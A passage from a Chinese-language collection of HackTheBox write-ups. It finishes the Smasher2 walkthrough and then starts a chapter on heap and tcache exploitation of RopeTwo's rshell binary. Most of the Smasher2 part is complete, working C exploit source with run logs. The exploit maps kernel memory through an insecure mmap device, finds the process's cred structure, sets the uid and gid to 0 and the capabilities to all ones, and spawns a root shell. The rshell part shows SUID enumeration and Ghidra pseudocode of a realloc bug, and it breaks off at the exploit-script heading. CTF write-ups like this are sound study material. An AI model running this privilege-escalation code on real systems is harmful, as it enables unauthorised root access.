	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring;	/* default keyring to attach requested
					 * keys to */
	struct key	*session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
	void		*security;	/* subjective LSM security */
#endif
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	/* RCU deletion */
	union {
		int non_rcu;			/* Can we skip RCU deletion? */
		struct rcu_head	rcu;		/* RCU deletion hook */
	};
} __randomize_layout;
```

值得注意的是，我看到了由当前用户（uid，guid，suid等）定义的8个连续的整数大小变量，然后是4个字节的securebit，然后是四个或五个（取决于内核）长整数，它们是这些功能 。
因此，策略将是：

使用mmap处理程序打开内存。
知道我们当前的uid是什么。
扫描内存以查找与当前用户的凭据结构相匹配的内容。
将uid/guid替换为0。
调用getuid（）看看我们现在是否是root。
如果是，则将功能替换为-1，然后以root身份生成一个新的sh进程，并中断循环。 如果不是，请将uid/guid设置回其原始值。

#### Exploitation

我将按照上面文章中的步骤构建脚本。 此代码可能令人生畏。 当我从这里开始并在Google上看到这篇论文时，我对此一无所知。 但是，如果您逐步执行代码，则很清楚它在做什么。

我要做的第一件事是尝试打开mmap设备。 我将从文章中获取代码（针对这种情况和样式，使用较小的mod）：

``` bash
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
#include <unistd.h>

int main(int argc, char* const* argv)
{
    printf("[+] PID: %d\n", getpid());
    int fd = open("/dev/dhid", O_RDWR);
    if (fd < 0)
    {
        printf("[-] Open failed!\n");
        return-1;
    }
    printf("[+] Open OK fd: %d\n", fd);

    unsigned long size = 0xf0000000;
    unsigned long mmapStart = 0x42424000;
    unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);
    if (addr == MAP_FAILED)
    {
        perror("Failed to mmap: ");
        close(fd);
        return-1;
    }

    printf("[+] mmap OK addr: %lx\n", addr);
    int stop = getchar();
    return 0;
}
```

编译并运行：

``` bash
dzonerzy@smasher2:/dev/shm$ gcc exp1.c -o exp1
exp1.c: In function ‘main’:
exp1.c:29:33: warning: format ‘%lx’ expects argument of type ‘long unsigned int’, but argument 2 has type ‘unsigned int *’ [-Wformat=]
     printf("[+] mmap OK addr: %lx\n", addr);
                               ~~^
                               %ls
dzonerzy@smasher2:/dev/shm$ ls
exp1  exp1.c
dzonerzy@smasher2:/dev/shm$ ./exp1
[+] PID: 1911
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
```

这样就可以打开mmap处理程序。 好的开始。 并且它按预期挂在getchar（）上。 我可以在另一个终端中通过SSH进行连接，并查看该进程的内存映射（它仍然处于活动状态并等待），并在第一行中看到dhid映射到我请求的地址：

``` bash
dzonerzy@smasher2:~$ cat /proc/1911/maps
42424000-132424000 rw-s 00000000 00:06 440                               /dev/dhid
55c3b4c63000-55c3b4c64000 r-xp 00000000 00:19 4                          /dev/shm/exp1
55c3b4e63000-55c3b4e64000 r--p 00000000 00:19 4                          /dev/shm/exp1
55c3b4e64000-55c3b4e65000 rw-p 00001000 00:19 4                          /dev/shm/exp1
55c3b6e38000-55c3b6e59000 rw-p 00000000 00:00 0                          [heap]
7f3e7313d000-7f3e73324000 r-xp 00000000 08:01 263261                     /lib/x86_64-linux-gnu/libc-2.27.so
7f3e73324000-7f3e73524000 ---p 001e7000 08:01 263261                     /lib/x86_64-linux-gnu/libc-2.27.so
7f3e73524000-7f3e73528000 r--p 001e7000 08:01 263261                     /lib/x86_64-linux-gnu/libc-2.27.so
7f3e73528000-7f3e7352a000 rw-p 001eb000 08:01 263261                     /lib/x86_64-linux-gnu/libc-2.27.so
7f3e7352a000-7f3e7352e000 rw-p 00000000 00:00 0 
7f3e7352e000-7f3e73555000 r-xp 00000000 08:01 263255                     /lib/x86_64-linux-gnu/ld-2.27.so
7f3e7374d000-7f3e7374f000 rw-p 00000000 00:00 0 
7f3e73755000-7f3e73756000 r--p 00027000 08:01 263255                     /lib/x86_64-linux-gnu/ld-2.27.so
7f3e73756000-7f3e73757000 rw-p 00028000 08:01 263255                     /lib/x86_64-linux-gnu/ld-2.27.so
7f3e73757000-7f3e73758000 rw-p 00000000 00:00 0 
7ffdc6c81000-7ffdc6ca2000 rw-p 00000000 00:00 0                          [stack]
7ffdc6cf5000-7ffdc6cf8000 r--p 00000000 00:00 0                          [vvar]
7ffdc6cf8000-7ffdc6cfa000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
```

使用root shell（我将很快使用它），我可以查看所有内存。 我调用了mmap，其偏移量为0，大小为0xf0000000字节。 这意味着我现在可以进入该空间。 我将在一行上打上一行，以访问上面的所有内容：

``` bash
dzonerzy@smasher2:~$ cat /proc/iomem
00000000-00000000 : Reserved
00000000-00000000 : System RAM
00000000-00000000 : Reserved
00000000-00000000 : PCI Bus 0000:00
00000000-00000000 : Video ROM
00000000-00000000 : Adapter ROM
00000000-00000000 : PCI Bus 0000:00
00000000-00000000 : PCI Bus 0000:00
00000000-00000000 : PCI Bus 0000:00
00000000-00000000 : PCI Bus 0000:00
00000000-00000000 : Reserved
  00000000-00000000 : System ROM
00000000-00000000 : System RAM
  00000000-00000000 : Kernel code
  00000000-00000000 : Kernel data
  00000000-00000000 : Kernel bss
00000000-00000000 : ACPI Tables
00000000-00000000 : ACPI Non-volatile Storage
00000000-00000000 : System RAM
00000000-00000000 : PCI Bus 0000:00
  00000000-00000000 : 0000:00:10.0
  00000000-00000000 : PCI Bus 0000:22
  00000000-00000000 : PCI Bus 0000:1a
  00000000-00000000 : PCI Bus 0000:12
  00000000-00000000 : PCI Bus 0000:0a
  00000000-00000000 : PCI Bus 0000:21
  00000000-00000000 : PCI Bus 0000:19
  00000000-00000000 : PCI Bus 0000:11
  00000000-00000000 : PCI Bus 0000:09
  00000000-00000000 : PCI Bus 0000:20
  00000000-00000000 : PCI Bus 0000:18
  00000000-00000000 : PCI Bus 0000:10
  00000000-00000000 : PCI Bus 0000:08
  00000000-00000000 : PCI Bus 0000:1f
  00000000-00000000 : PCI Bus 0000:17
  00000000-00000000 : PCI Bus 0000:0f
  00000000-00000000 : PCI Bus 0000:07
  00000000-00000000 : PCI Bus 0000:1e
  00000000-00000000 : PCI Bus 0000:16
  00000000-00000000 : PCI Bus 0000:0e
  00000000-00000000 : PCI Bus 0000:06
  00000000-00000000 : PCI Bus 0000:1d
  00000000-00000000 : PCI Bus 0000:15
  00000000-00000000 : PCI Bus 0000:0d
  00000000-00000000 : PCI Bus 0000:05
  00000000-00000000 : PCI Bus 0000:1c
  00000000-00000000 : PCI Bus 0000:14
  00000000-00000000 : PCI Bus 0000:0c
  00000000-00000000 : PCI Bus 0000:04
  00000000-00000000 : PCI Bus 0000:1b
  00000000-00000000 : PCI Bus 0000:13
  00000000-00000000 : PCI Bus 0000:0b
  00000000-00000000 : PCI Bus 0000:03
  00000000-00000000 : PCI Bus 0000:02
  00000000-00000000 : 0000:00:0f.0
    00000000-00000000 : vmwgfx probe
  00000000-00000000 : PCI MMCONFIG 0000 [bus 00-7f]
    00000000-00000000 : Reserved
      00000000-00000000 : pnp 00:05
  00000000-00000000 : PCI Bus 0000:22
  00000000-00000000 : PCI Bus 0000:1a
  00000000-00000000 : PCI Bus 0000:12
  00000000-00000000 : PCI Bus 0000:0a
  00000000-00000000 : PCI Bus 0000:21
  00000000-00000000 : PCI Bus 0000:19
  00000000-00000000 : PCI Bus 0000:11
  00000000-00000000 : PCI Bus 0000:09
  00000000-00000000 : PCI Bus 0000:20
  00000000-00000000 : PCI Bus 0000:18
  00000000-00000000 : PCI Bus 0000:10
  00000000-00000000 : PCI Bus 0000:08
  00000000-00000000 : PCI Bus 0000:1f
  00000000-00000000 : PCI Bus 0000:17
  00000000-00000000 : PCI Bus 0000:0f
  00000000-00000000 : PCI Bus 0000:07
  00000000-00000000 : PCI Bus 0000:1e
  00000000-00000000 : PCI Bus 0000:16
  00000000-00000000 : PCI Bus 0000:0e
  00000000-00000000 : PCI Bus 0000:06
  00000000-00000000 : PCI Bus 0000:1d
  00000000-00000000 : PCI Bus 0000:15
  00000000-00000000 : PCI Bus 0000:0d
  00000000-00000000 : PCI Bus 0000:05
  00000000-00000000 : PCI Bus 0000:1c
  00000000-00000000 : PCI Bus 0000:14
  00000000-00000000 : PCI Bus 0000:0c
  00000000-00000000 : PCI Bus 0000:04
  00000000-00000000 : PCI Bus 0000:1b
  00000000-00000000 : PCI Bus 0000:13
  00000000-00000000 : PCI Bus 0000:0b
  00000000-00000000 : PCI Bus 0000:03
  00000000-00000000 : PCI Bus 0000:02
    00000000-00000000 : 0000:02:01.0
    00000000-00000000 : 0000:02:03.0
      00000000-00000000 : ehci_hcd
    00000000-00000000 : 0000:02:02.0
      00000000-00000000 : ICH HD audio
  00000000-00000000 : 0000:00:0f.0
    00000000-00000000 : vmwgfx probe
  00000000-00000000 : pnp 00:05
  00000000-00000000 : 0000:00:10.0
    00000000-00000000 : mpt
  00000000-00000000 : 0000:00:10.0
    00000000-00000000 : mpt
  00000000-00000000 : 0000:00:07.7
00000000-00000000 : Reserved
  00000000-00000000 : IOAPIC 0
00000000-00000000 : HPET 0
  00000000-00000000 : pnp 00:04
00000000-00000000 : Local APIC
  00000000-00000000 : Reserved
00000000-00000000 : Reserved
```

 - 查找凭证结构

现在，更新上面的代码以通过获取当前uid来在内存中查找凭证对象，然后添加一个循环以连续八次查找该int：

``` bash
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
#include <unistd.h>

int main(int argc, char* const* argv)
{
    printf("[+] PID: %d\n", getpid());
    int fd = open("/dev/dhid", O_RDWR);
    if (fd < 0)
    {
        printf("[-] Open failed!\n");
        return-1;
    }
    printf("[+] Open OK fd: %d\n", fd);

    unsigned long size = 0xf0000000;
    unsigned long mmapStart = 0x42424000;
    unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);
    if (addr == MAP_FAILED)
    {
        perror("Failed to mmap: ");
        close(fd);
        return-1;
    }


    printf("[+] mmap OK addr: %x\n", addr);

    unsigned int uid = getuid();
    printf("[+] UID: %d\n", uid);

    unsigned int credIt = 0;
    unsigned int credNum = 0;
    while (((unsigned long)addr) < (mmapStart + size -0x40))
    {
        credIt = 0;
        if (
            addr[credIt++] == uid &&
            addr[credIt++] == uid &&
            addr[credIt++] == uid &&
            addr[credIt++] == uid &&
            addr[credIt++] == uid &&
            addr[credIt++] == uid &&
            addr[credIt++] == uid &&
            addr[credIt++] == uid
            )
        {
            credNum++;
            printf("[+] Found cred structure! ptr: %p, credNum: %d\n", addr, credNum);
        }
        addr++;
    }
    puts("[+] Scanning loop END");
    fflush(stdout);

    int stop = getchar();
    return 0;
}
```

当我编译并运行时，它会发现19种潜在的cred structs:

``` bash
dzonerzy@smasher2:/dev/shm$ gcc exp2.c -o exp2
exp2.c: In function ‘main’:
exp2.c:30:32: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 2 has type ‘unsigned int *’ [-Wformat=]
     printf("[+] mmap OK addr: %x\n", addr);
                               ~^
                               %ls
dzonerzy@smasher2:/dev/shm$ ./exp2
[+] PID: 1999
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] UID: 1000
[+] Found cred structure! ptr: 0x762ba6c4, credNum: 1
[+] Found cred structure! ptr: 0x762ba9c4, credNum: 2
[+] Found cred structure! ptr: 0xb7a980c4, credNum: 3
[+] Found cred structure! ptr: 0xb7a98484, credNum: 4
[+] Found cred structure! ptr: 0xb7a99384, credNum: 5
[+] Found cred structure! ptr: 0xb7a99444, credNum: 6
[+] Found cred structure! ptr: 0xb7a995c4, credNum: 7
[+] Found cred structure! ptr: 0xb7a99c84, credNum: 8
[+] Found cred structure! ptr: 0xb87d6184, credNum: 9
[+] Found cred structure! ptr: 0xb87d6484, credNum: 10
[+] Found cred structure! ptr: 0xb87d6544, credNum: 11
[+] Found cred structure! ptr: 0xb87d6b44, credNum: 12
[+] Found cred structure! ptr: 0xb87d6c04, credNum: 13
[+] Found cred structure! ptr: 0xb87d6d84, credNum: 14
[+] Found cred structure! ptr: 0xb87d7744, credNum: 15
[+] Found cred structure! ptr: 0xb8e86c04, credNum: 16
[+] Found cred structure! ptr: 0xb8e87384, credNum: 17
[+] Found cred structure! ptr: 0xb8e87984, credNum: 18
[+] Found cred structure! ptr: 0xb9327c84, credNum: 19
[+] Scanning loop END
```

 - 查找当前进程Cred

现在，更新代码，以便针对每个潜在的cred结构，将其更改为root用户和组ID 0，然后尝试运行getuid（）。 如果该值返回0（对于root用户），则说明我已经为当前进程修改了凭据结构。

更新代码，如下所示：

``` bash
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
#include <unistd.h>

int main(int argc, char* const* argv)
{
    printf("[+] PID: %d\n", getpid());
    int fd = open("/dev/dhid", O_RDWR);
    if (fd < 0)
    {
        printf("[-] Open failed!\n");
        return-1;
    }
    printf("[+] Open OK fd: %d\n", fd);

    unsigned long size = 0xf0000000;
    unsigned long mmapStart = 0x42424000;
    unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);
    if (addr == MAP_FAILED)
    {
        perror("Failed to mmap: ");
        close(fd);
        return-1;
    }


    printf("[+] mmap OK addr: %x\n", addr);

    unsigned int uid = getuid();
    printf("[+] UID: %d\n", uid);

    unsigned int credIt = 0;
    unsigned int credNum = 0;
    while (((unsigned long)addr) < (mmapStart + size -0x40))
    {
        credIt = 0;
        if (
            addr[credIt++] == uid &&
            addr[credIt++] == uid &&
            addr[credIt++] == uid &&
            addr[credIt++] == uid &&
            addr[credIt++] == uid &&
            addr[credIt++] == uid &&
            addr[credIt++] == uid &&
            addr[credIt++] == uid
            )
        {
            credNum++;
            printf("[+] Found cred structure! ptr: %p, credNum: %d\n", addr, credNum);

            credIt = 0;
            addr[credIt++] = 0;
            addr[credIt++] = 0;
            addr[credIt++] = 0;
            addr[credIt++] = 0;
            addr[credIt++] = 0;
            addr[credIt++] = 0;
            addr[credIt++] = 0;
            addr[credIt++] = 0;

            if (getuid() == 0)
            {
                puts("[+] GOT ROOT!");
                break;
            }
            else
            {
                credIt = 0;
                addr[credIt++] = uid;
                addr[credIt++] = uid;
                addr[credIt++] = uid;
                addr[credIt++] = uid;
                addr[credIt++] = uid;
                addr[credIt++] = uid;
                addr[credIt++] = uid;
                addr[credIt++] = uid;
            }

        }
        addr++;
    }
    puts("[+] Scanning loop END");
    fflush(stdout);

    int stop = getchar();
    return 0;
}
```

现在，编译并运行，并且可以成为root用户，这意味着它可以正常工作：

``` bash
dzonerzy@smasher2:/dev/shm$ gcc exp3.c -o exp3
exp3.c: In function ‘main’:
exp3.c:30:32: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 2 has type ‘unsigned int *’ [-Wformat=]
     printf("[+] mmap OK addr: %x\n", addr);
                               ~^
                               %ls
dzonerzy@smasher2:/dev/shm$ ./exp3
[+] PID: 2008
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] UID: 1000
[+] Found cred structure! ptr: 0x762ba6c4, credNum: 1
[+] Found cred structure! ptr: 0x762ba9c4, credNum: 2
[+] Found cred structure! ptr: 0xb7a980c4, credNum: 3
[+] Found cred structure! ptr: 0xb7a99444, credNum: 4
[+] Found cred structure! ptr: 0xb7a995c4, credNum: 5
[+] Found cred structure! ptr: 0xb7a99c84, credNum: 6
[+] Found cred structure! ptr: 0xb87d6184, credNum: 7
[+] Found cred structure! ptr: 0xb87d6484, credNum: 8
[+] Found cred structure! ptr: 0xb87d6544, credNum: 9
[+] Found cred structure! ptr: 0xb87d6b44, credNum: 10
[+] Found cred structure! ptr: 0xb87d6c04, credNum: 11
[+] Found cred structure! ptr: 0xb87d6d84, credNum: 12
[+] Found cred structure! ptr: 0xb87d7144, credNum: 13
[+] Found cred structure! ptr: 0xb87d7204, credNum: 14
[+] GOT ROOT!
[+] Scanning loop END
```
在等待getchar（）时，可以检查该进程的状态，并查看它以root身份运行：

``` bash
dzonerzy@smasher2:~$ cat /proc/2008/status
Name:   exp3
Umask:  0002
State:  S (sleeping)
Tgid:   2008
Ngid:   0
Pid:    2008
PPid:   1833
TracerPid:      0
Uid:    0       0       0       0     <-- root
Gid:    0       0       0       0     <-- root group
FDSize: 256
Groups: 4 24 30 46 111 112 1000 
NStgid: 2008
NSpid:  2008
NSpgid: 2008
NSsid:  1833
VmPeak:  3936672 kB
VmSize:  3936672 kB
VmLck:         0 kB
VmPin:         0 kB
VmHWM:       792 kB
VmRSS:       792 kB
RssAnon:              64 kB
RssFile:             720 kB
RssShmem:              8 kB
VmData:      176 kB
VmStk:       132 kB
VmExe:         8 kB
VmLib:      2112 kB
VmPTE:      7760 kB
VmSwap:        0 kB
HugetlbPages:          0 kB
CoreDumping:    0
Threads:        1
SigQ:   0/7400
SigPnd: 0000000000000000
ShdPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 0000000000000000
SigCgt: 0000000000000000
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
NoNewPrivs:     0
Seccomp:        0
Speculation_Store_Bypass:       thread vulnerable
Cpus_allowed:   ffffffff,ffffffff,ffffffff,ffffffff
Cpus_allowed_list:      0-127
Mems_allowed:   00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list:      0
voluntary_ctxt_switches:        1
nonvoluntary_ctxt_switches:     96
```

 - get root

现在，我将其升级以获得shell。 只需要添加将功能设置为全1的代码，然后执行一个shell：

``` bash
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
#include <unistd.h>

int main(int argc, char* const* argv)
{
    printf("[+] PID: %d\n", getpid());
    int fd = open("/dev/dhid", O_RDWR);
    if (fd < 0)
    {
        printf("[-] Open failed!\n");
        return-1;
    }
    printf("[+] Open OK fd: %d\n", fd);

    unsigned long size = 0xf0000000;
    unsigned long mmapStart = 0x42424000;
    unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);
    if (addr == MAP_FAILED)
    {
        perror("Failed to mmap: ");
        close(fd);
        return-1;
    }


    printf("[+] mmap OK addr: %x\n", addr);

    unsigned int uid = getuid();
    printf("[+] UID: %d\n", uid);

    unsigned int credIt = 0;
    unsigned int credNum = 0;
    while (((unsigned long)addr) < (mmapStart + size -0x40))
    {
        credIt = 0;
        if (
            addr[credIt++] == uid &&
            addr[credIt++] == uid &&
            addr[credIt++] == uid &&
            addr[credIt++] == uid &&
            addr[credIt++] == uid &&
            addr[credIt++] == uid &&
            addr[credIt++] == uid &&
            addr[credIt++] == uid
            )
        {
            credNum++;
            printf("[+] Found cred structure! ptr: %p, credNum: %d\n", addr, credNum);

            credIt = 0;
            addr[credIt++] = 0;
            addr[credIt++] = 0;
            addr[credIt++] = 0;
            addr[credIt++] = 0;
            addr[credIt++] = 0;
            addr[credIt++] = 0;
            addr[credIt++] = 0;
            addr[credIt++] = 0;

            if (getuid() == 0)
            {
                puts("[+] GOT ROOT!");

                credIt += 1; //skip 4 bytes to get to caps
                addr[credIt++] = 0xffffffff;
                addr[credIt++] = 0xffffffff;
                addr[credIt++] = 0xffffffff;
                addr[credIt++] = 0xffffffff;
                addr[credIt++] = 0xffffffff;
                addr[credIt++] = 0xffffffff;
                addr[credIt++] = 0xffffffff;
                addr[credIt++] = 0xffffffff;

                execl("/bin/sh", "-", (char *)NULL);
                break;
            }
            else
            {
                credIt = 0;
                addr[credIt++] = uid;
                addr[credIt++] = uid;
                addr[credIt++] = uid;
                addr[credIt++] = uid;
                addr[credIt++] = uid;
                addr[credIt++] = uid;
                addr[credIt++] = uid;
                addr[credIt++] = uid;
            }

        }
        addr++;
    }
    puts("[+] Scanning loop END");
    fflush(stdout);

    int stop = getchar();
    return 0;
}
```

现在像以前一样编译，然后运行：

``` bash
dzonerzy@smasher2:/dev/shm$ gcc exp4.c -o exp4
exp4.c: In function ‘main’:
exp4.c:30:32: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 2 has type ‘unsigned int *’ [-Wformat=]
     printf("[+] mmap OK addr: %x\n", addr);
                               ~^
                               %ls
dzonerzy@smasher2:/dev/shm$ ./exp4
[+] PID: 2019
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] UID: 1000
[+] Found cred structure! ptr: 0x762ba6c4, credNum: 1
[+] Found cred structure! ptr: 0x762ba9c4, credNum: 2
[+] Found cred structure! ptr: 0xb7a980c4, credNum: 3
[+] Found cred structure! ptr: 0xb7a98844, credNum: 4
[+] Found cred structure! ptr: 0xb7a99204, credNum: 5
[+] GOT ROOT!
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare),1000(dzonerzy)
# whoami
root
```

成功获取root权限，现在读取flag并提交,帅到飞天。

``` bash
# cd /root
# ls
CREDITS.txt  root.txt
# cat CREDITS.txt
SMASHER2 by dzonerzy@htb in collaboration with xg0@htb have fun and be ready for smasher3!
# cat root.txt
7791e0e************************
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb11.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb12.jpg)

知识点总结：

 - 身份验证绕过
 - RCE与WAF绕过
 - 不安全mmap程序实现的内核模块(该模块允许用户访问内核内存)

最后演示一下性感大佬在线删除靶机，删自己的靶机，让别人无靶机可打，小盆友请勿模仿，太黄太暴力过程就不演示了！！！;)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb13.jpg)

嗯，，，已经删到残废了。。。

<font color="red">Game over</font>

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end Smasher2 -->

</details>




# UAF、tcache 与分配器状态

堆利用首先需要理解对象生命周期和分配器状态。本章保留释放、重分配、别名指针和泄漏位置的原始顺序，再对照最后的 Python 脚本和远程结果。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/heap/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Little Tommy 用 memo 重用已释放账户，字段布局决定覆盖内容。

RopeTwo rshell 的 realloc 与不同 bin 间距改变原语的可组合方式。

Toxin 的两个解法保留格式化泄漏、tcache poisoning 和 libc hook 的各自偏移。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [realloc 状态与 tcache 指针](#case-hackthebox-rope2-rshell-exploit) | hackthebox-rope2-rshell-exploit | 堆利用、tcache、libc |
| [悬空账户指针与 memo 重用](#case-little-tommy) | little-tommy | UAF、堆利用 |
| [格式化泄漏与 tcache poisoning](#case-toxin) | toxin | 堆利用、tcache、UAF、格式化字符串 |

<a id="case-hackthebox-rope2-rshell-exploit"></a>

## realloc 状态与 tcache 指针

rshell 的编辑和分配状态使多个句柄指向同一块内存。原记录保留不同 bin 大小、main_arena 泄漏和脚本重构后的最终布局。

<p class="kb-provenance">来源 hackthebox-rope2-rshell-exploit · 原记录 2021-02-18 · 58 个代码块 · 3 处图片引用</p>

<details class="kb-evidence" id="record-hackthebox-rope2-rshell-exploit">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start hackthebox-rope2-rshell-exploit -->

#### 前言

此篇文章专门记录hack the box - ropetwo机器中获取user权限的pwn rshell部分, Tcache堆利用。



#### 下载binary文件分析

``` bash
chromeuser@rope2:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/newgrp
/usr/bin/fusermount
/usr/bin/rshell
/usr/bin/mount
/usr/bin/at
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chsh
/usr/bin/su
/usr/bin/sudo
chromeuser@rope2:~$ /usr/bin/rshell
$ id
uid=1000(r4j) gid=1000(r4j) groups=1000(r4j)
$ whoami
r4j
$ ls
$ pwd
rshell: pwd: command not found
$ ^C
chromeuser@rope2:~$
```

下载rshell文件

``` bash
chromeuser@rope2:/usr/bin$ python3 -m http.server 8001
Serving HTTP on 0.0.0.0 port 8001 (http://0.0.0.0:8001/) ...
10.10.14.22 - - [17/Feb/2021 19:33:30] "GET /rshell HTTP/1.1" 200 -
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/rope2]
└─# wget http://10.10.10.196:8001/rshell
--2021-02-17 14:30:38--  http://10.10.10.196:8001/rshell
正在连接 10.10.10.196:8001... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：14312 (14K) [application/octet-stream]
正在保存至: “rshell”

rshell                             100%[===============================================================>]  13.98K  45.0KB/s  用时 0.3s    

2021-02-17 14:30:39 (45.0 KB/s) - 已保存 “rshell” [14312/14312])

┌──(root💀kali)-[~/hackthebox/machine/rope2]
└─# ls -la rshell
-rw-r--r-- 1 root root 14312  2月 24  2020 rshell
```

#### 主要循环

使用[Ghidra](https://ghidra-sre.org/)打开看了看。在搜索字符串“command not found” 时，定位在0x1019be处的函数，将其命名为process_input。调用这个函数的函数是0x101b93，将调用main_loop

使用ghidra重命名函数名和变量名之后的伪代码如下所示，便于阅读:

``` bash
void main_loop(void)

{
  ssize_t i;
  long in_FS_OFFSET;
  byte in_buf [200];
  undefined8 canary;
  
  canary = *(undefined8 *)(in_FS_OFFSET + 0x28);
  init_stuff();
  memset(in_buf,0,200);
  do {
    do {
      printf("$ ");
      i = read(0,in_buf,199);
    } while ((int)i < 2);
    in_buf[(int)i + -1] = 0;
    process_input(in_buf);
  } while( true );
}
```

它初始化一些东西，然后进入一个无限循环，打印$，读取最多200个字符，null结束输入，并将其传递给process_input, process_input根据输入中的前几个字符采取行动:

| 输入开始 | 采取动作 |
| :-----| :---- |
| “ls “ | 调用 do_ls [0x1015cf] |
| “add “ | 调用 do_add(user_input[4:]) [0x101345] |
| “rm “ | 调用 do_rm(user_input[3:]) [0x10166d] |
| “echo “ | 输出字符串的其余部分 |
| “edit “ | 调用 do_edit(user_input[5:]) [0x1017d8] |
| “whoami” | 打印 “r4j” |
| “id” | 打印 “uid=1000(r4j) gid=1000(r4j) groups=1000(r4j)” |
| 其它 | 打印 “rshell: %s: command not found” |

#### Commands

该程序一次最多保存两个“文件”，其中file1 on是0x104060的全局文件，file2是0x104130。对于每个文件，前8个字节包含一个指向用户提供的包含文件内容的malloc创建的堆缓冲区的指针。有一种检查只允许大小小于或等于0x70字节。最后一个0xC8(200)字节保存文件的名称。add函数确保第二个文件不能与现有文件同名，并且不能添加超过两个文件。这将是利用该二进制文件的最大限制，因为每次只使用两个文件就很难将堆操作到您想要的位置。

ls命令在两个槽上循环，如果指针非空，它将打印文件的名称。它不打印任何内容，而且无法合法地获取文件的内容，这为开发提供了另一个需要克服的主要障碍。

rm命令在两个槽上循环，查看偏移量为8的字符串，如果字符串与输入匹配，则将字符串文件名全部设置为null，释放包含内容的堆内存，并将指针设置为null。

edit命令是漏洞存在的地方。

使用ghidra将FUN_001017d8函数中各个变量命名成如下形式，便于阅读:

``` bash
void do_edit(char *param_1)

{
  int strcmp_res;
  long in_FS_OFFSET;
  uint read_size;
  int i;
  void *new_buf;
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  i = 0;
  do {
    if (1 < i) {
      puts("rshell: No such file or directory");
LAB_001019a8:
      if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return;
    }
    strcmp_res = strcmp(param_1,(char *)((long)i * 0xd0 + 0x104068));
    if ((strcmp_res == 0) && ((&item_array)[(long)i * 0x1a] != 0)) {
      read_size = 0;
      printf("size: ");
      __isoc99_scanf(&"%u",&read_size);
      getchar();
      if (read_size < 0x71) {
        new_buf = realloc((void *)(&item_array)[(long)i * 0x1a],(ulong)read_size);
        if (new_buf == (void *)0x0) {
          puts("Error");
        }
        else {
          *(void **)(&item_array + (long)i * 0x1a) = new_buf;
          printf("content: ");
          read(0,(void *)(&item_array)[(long)i * 0x1a],(ulong)read_size);
        }
      }
      else {
        puts("Memory Error!");
      }
      goto LAB_001019a8;
    }
    i = i + 1;
  } while( true );
}
```

这个循环首先检查i是否大于1，这表示它已经遍历了两个配置，但没有找到要编辑的匹配文件，在这种情况下，它打印一条错误消息并退出。然后，它检查当前项，看看名称是否与输入匹配，如果匹配，它会提示输入一个新的大小(确保小于0x71)，并在现有缓冲区上使用realloc。然后读取并存储内容，并完成。

#### 配置

 - 利用脚本

